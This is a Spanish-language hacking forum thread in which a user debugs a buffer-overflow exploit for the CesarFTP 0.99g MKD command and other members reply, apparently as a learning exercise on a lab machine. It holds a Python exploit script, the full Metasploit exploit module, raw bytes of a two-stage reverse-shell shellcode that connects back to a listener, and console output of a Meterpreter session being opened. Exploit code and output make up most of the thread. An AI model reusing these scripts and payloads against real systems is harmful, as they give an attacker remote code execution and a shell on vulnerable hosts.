elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Necesito ayuda urgente, buffer overflow.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Necesito ayuda urgente, buffer overflow.  (Leído 7,113 veces)
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Necesito ayuda urgente, buffer overflow.
« en: 27 Febrero 2012, 20:58 pm »

Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.


luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo.

Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta.

Espero que podáis ayudarme, muchas gracias.

Código:
#!/usr/bin/python

from socket import *
import struct

eip = struct.pack('<i', 0x54234568 #me la he inventado)

shellcode = ()


host = "127.0.0.1"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()


Código:
##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Ftp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
                You must have valid credentials to trigger this vulnerability. Also, you
                only get one chance, so choose your target carefully.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11799 $',
            'References'     =>
                [
                    [ 'CVE', '2006-2961'],
                    [ 'OSVDB', '26364'],
                    [ 'BID', '18586'],
                    [ 'URL', 'http://secunia.com/advisories/20574/' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 250,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'Compat'        =>
                        {
                            'SymbolLookup' => 'ws2ord',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                    [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                    [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
                    #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                    #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                    [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
                ],
            'DisclosureDate' => 'Jun 12 2006',
            'DefaultTarget'  => 0))
    end
    def check
        connect
        disconnect
        if (banner =~ /CesarFTP 0\.99g/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
    def exploit
        connect_login
        sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
        sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
        print_status("Trying target #{target.name}...")
        send_cmd( ['MKD', sploit] , false)
        handler
        disconnect
    end
end
« Última modificación: 27 Febrero 2012, 21:08 pm por RocKHounD » En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #1 en: 2 Marzo 2012, 08:34 am »

Hola RocKHounD,

Has podido solucionar tu problema?

Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.

El stager es una shellcode minima que te abre una conexion a la espera de otro payload llamado stage. El payload de calc.exe es autonomo, o sea sin stager, y es por eso que te funciona bien. Si queres incluir en el script los stagers + stages tendrias que ver como msf interactua con el meterpreter.

luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

No, supuestamente la shellcode deberia permanecer intacta, codificada pero funcionalmente intacta.

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

No

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

El overflow se produce al introducir muchos __saltos_de_linea__, con cualquier otro caracter no funciona.

Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script.

Saludos!
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #2 en: 2 Marzo 2012, 14:20 pm »

Citar
Probe el exploit y funciona terriblemente bien con msf. Despues si hago algo de tiempo me fijo con tu script.

Hola ivanchuk, con msf funciona a la perfección es lo que no comprendo, debe ser tema de la shellcode porque yo creo que el script Python esta bien escrito, he probado otros exploits en otros lenguajes y el efecto es el mismo, no crea nada y se queda como parado, cuando con msf lo lanzo va de lujo.

Espero que tengas un hueco para echarme una mano.


Cuando extraje los dos stagers de msfpayload los intente incluir en el exploit de esta manera

Código:
buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += stage1
buffer += stage2
buffer += "\r\n"


Evidentemente mi invención no funciono
En línea

RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #3 en: 3 Marzo 2012, 00:03 am »

Te cuento lo que acabo de investigar...
como no hay manera de hacer funcionar el script, he modificado un poco el modulo ruby de metasploit, cambiado los siguientes valores
Código:
root@bt:~/Desktop/cesar# msfcli exploit/windows/ftp/cesarftp_mkd RHOST=192.168.11.15 FTPPASS=ftp FTPUSER=ftp E

[*] Please wait while we load the module tree...

RHOST => 192.168.11.15
FTPPASS => ftp
FTPUSER => ftp

[*] Started reverse handler on 192.168.10.195:4444
[*] Trying target Windows RockHounD...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 192.168.11.15
[*] Meterpreter session 1 opened (192.168.10.195:4444 -> 192.168.11.15:1115) at 2012-03-02 23:48:17 +0100

meterpreter > exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 1 closed.  Reason: User exit



Código:
sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
por esto otro.

Código:
sploit =  "\n" * 671 + "AAA"
sploit << [target.ret].pack('V') + "\x90" * 40 + "\xcc\xcc\xcc\xcc" + payload.encoded + "\xcc\xcc\xcc\xcc" + "\r\n"


y he obtenido el siguiente resultado.

Código:
00B0EE40   350A0D2D  -..5 #buffer "\n" * 671
00B0EE44   0D2D3035  50-. #buffer "\n" * 671
00B0EE48   3035350A  .550 #buffer "\n" * 671
00B0EE4C   41414120   AAA # "AAA"
00B0EE50   77D5AA01  ªÕw  USER32.77D5AA01 # SALTO A JMP ESP
00B0EE54   90909090  # Nops
00B0EE58   90909090  # Nops
00B0EE5C   90909090  # Nops
00B0EE60   90909090  # Nops
00B0EE64   90909090  # Nops
00B0EE68   90909090  # Nops
00B0EE6C   90909090  # Nops
00B0EE70   90909090  # Nops
00B0EE74   90909090  # Nops
00B0EE78   90909090  # Nops
00B0EE7C   D42AFD03  ý*Ô  # Shellcode
00B0EE80   E011737F  sà # Shellcode
00B0EE84   7F4B782F  /xK # Shellcode
00B0EE88   D50B7A14  z Õ # Shellcode
00B0EE8C   7D157BB7  ·{}  SHELL32.7D157BB7 # Shellcode #Esto no estara llamando a algun lado?
00B0EE90   72B4B043  C°´r # Shellcode
00B0EE94   7C679246  F’g| # Shellcode
00B0EE98   4E76F510  õvN # Shellcode
00B0EE9C   32751D77  wu2 # Shellcode
00B0EEA0   9F4FEBF7  ÷ëOŸ # Shellcode
00B0EEA4   7443E3B4  ´ãCt # Shellcode
00B0EEA8   C0A92C2F  /,©À # Shellcode
00B0EEAC   E13070F8  øp0á # Shellcode

..... etc



Luego por interpretacion propia pienso que:

Código:
[*] Started reverse handler on 192.168.10.195:4444 # Monta el listening en el 4444 local
[*] Trying target Windows RockHounD...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes) # manda la shellcode
[*] Sending stage (752128 bytes) to 192.168.11.15 # Manda el payload meterpreter pero ya habiendo conectado con el handler

Que no entiendo... pues basicamente, si yo en BT ejecuto el siguiente comando:

Código:
root@bt:~/Desktop/cesar# msfpayload windows/shell/reverse_ord_tcp LHOST="192.168.10.195" EXITFUNC=process P

Me devuelve dos codigos.

Código:
# windows/shell/reverse_ord_tcp - 93 bytes (stage 1)
# http://www.metasploit.com
# VERBOSE=false, LHOST=192.168.10.195, LPORT=4444,
# ReverseConnectRetries=5, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
my $buf =
"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b" .
"\x12\x8b\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32" .
"\x75\xef\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c" .
"\x0d\x1c\x01\xe9\x8b\x41\x58\x01\xe8\x8b\x71\x3c\x01\xee" .
"\x03\x69\x0c\x53\x6a\x01\x6a\x02\xff\xd0\x97\x68\xc0\xa8" .
"\x0a\xc3\x68\x02\x00\x11\x5c\x89\xe1\x53\xb7\x0c\x53\x51" .
"\x57\x51\x6a\x10\x51\x57\x56\xff\xe5"

# windows/shell/reverse_ord_tcp - 240 bytes (stage 2)
# http://www.metasploit.com
my $buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" .
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" .
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" .
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" .
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" .
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" .
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" .
"\xff\xd5"


Ya mas no alcanzo... si quieres que haga algo lo hago encantado Ivanchuk.

Un saludo.
En línea

RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #4 en: 3 Marzo 2012, 19:03 pm »

Bueno ya he logrado que funcione, el problema son las badchars que no son las que hay que poner, y luego la longitud del Nopsleed tampoco es la que pone en el modulo.

en metasploit funciona porque la shellcode que usa esta creada para esos badchars, si queremos usar cualquier otra hay que poner bastantes mas badchars para el encoder al igual que los nops.

con esta info el que quiera puede solucionarlo  :rolleyes:


Gracias Ivanchuk por todo, aunque me he adelantado XDD
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #5 en: 3 Marzo 2012, 23:34 pm »

Igual es raro, a mi me funciono con tu script sin tocarle nada, solamente el payload. Puse el stager, o sea el primer payload que te tira msfpayload pero encodeado con msfencode, y con msfconsole mande el segundo.
Si uso el payload windows/shell_reverse_tcp, sin stages, no funciona. El servidor me dice "Command overflow". Debe ser por eso el Space=200 en el modulo, el buffer entero tiene espacio limitado imagino, y el shell_reverse_tcp es bastante grande.
« Última modificación: 3 Marzo 2012, 23:35 pm por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
RocKHounD

Desconectado Desconectado

Mensajes: 46


Ver Perfil WWW
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #6 en: 4 Marzo 2012, 00:17 am »

Olvide comentarte que no quería usar la plataforma msf, msfpayload y encoder si pero no el multi/handler,

Hay un espacio de 339 bytes para alojar la shellcode.

He usado una shellcode que encontré por ahí y la encodee filtrando una cadena larga de badchars que vi en una beta del modulo ruby de metasploit la cual no se porque no esta en el modulo residente.

También he podido comprobar que el modulo del exploit de msf no funciona siempre, algunas veces rompe la pila, reiniciando el server en el debugger un par de veces volvía a funcionar como es debido.

He creado otro hilo en programación Python para añadir la ejecución de netcat al final del script, en este lenguaje soy un iniciado y de momento no tengo soltura
En línea

polunchis

Desconectado Desconectado

Mensajes: 1



Ver Perfil
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #7 en: 12 Abril 2012, 03:30 am »

Hola RocKHounD, estaba pasando por aqui y me encontre con tu Post,

Hace tiempo a mi tambien me paso lo mismo con este Buffer overflow del Cesar si gustas te puedo ayudar avisame y con gusto te ayudo

Saludos
En línea

Polunchis
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Necesito ayuda urgente, buffer overflow.
« Respuesta #8 en: 13 Abril 2012, 19:59 pm »

Sres, a mi funciona de forma correcta el exploit portado y/o nativo en metasploit , espero feedback de vustra parte para trastear con los problemas.

-berz3k.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Buffer Overflow en una pagina web
Nivel Web
mordiskos 1 3,423 Último mensaje 9 Marzo 2006, 00:45 am
por ANELKAOS
buffer overflow
Ingeniería Inversa
Meg 2 5,797 Último mensaje 6 Febrero 2009, 11:20 am
por Shaddy
Ayuda buffer overflo y shellcode
Bugs y Exploits
systemHack 0 3,201 Último mensaje 27 Julio 2013, 02:14 am
por systemHack
Ayuda buffer overflow
Hacking
Varlch 3 2,849 Último mensaje 24 Noviembre 2014, 23:30 pm
por MCKSys Argentina
Exploiting básico (Buffer Overflow) [Ayuda] « 1 2 »
Bugs y Exploits
d00rt 17 14,934 Último mensaje 10 Enero 2016, 19:45 pm
por furby86
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines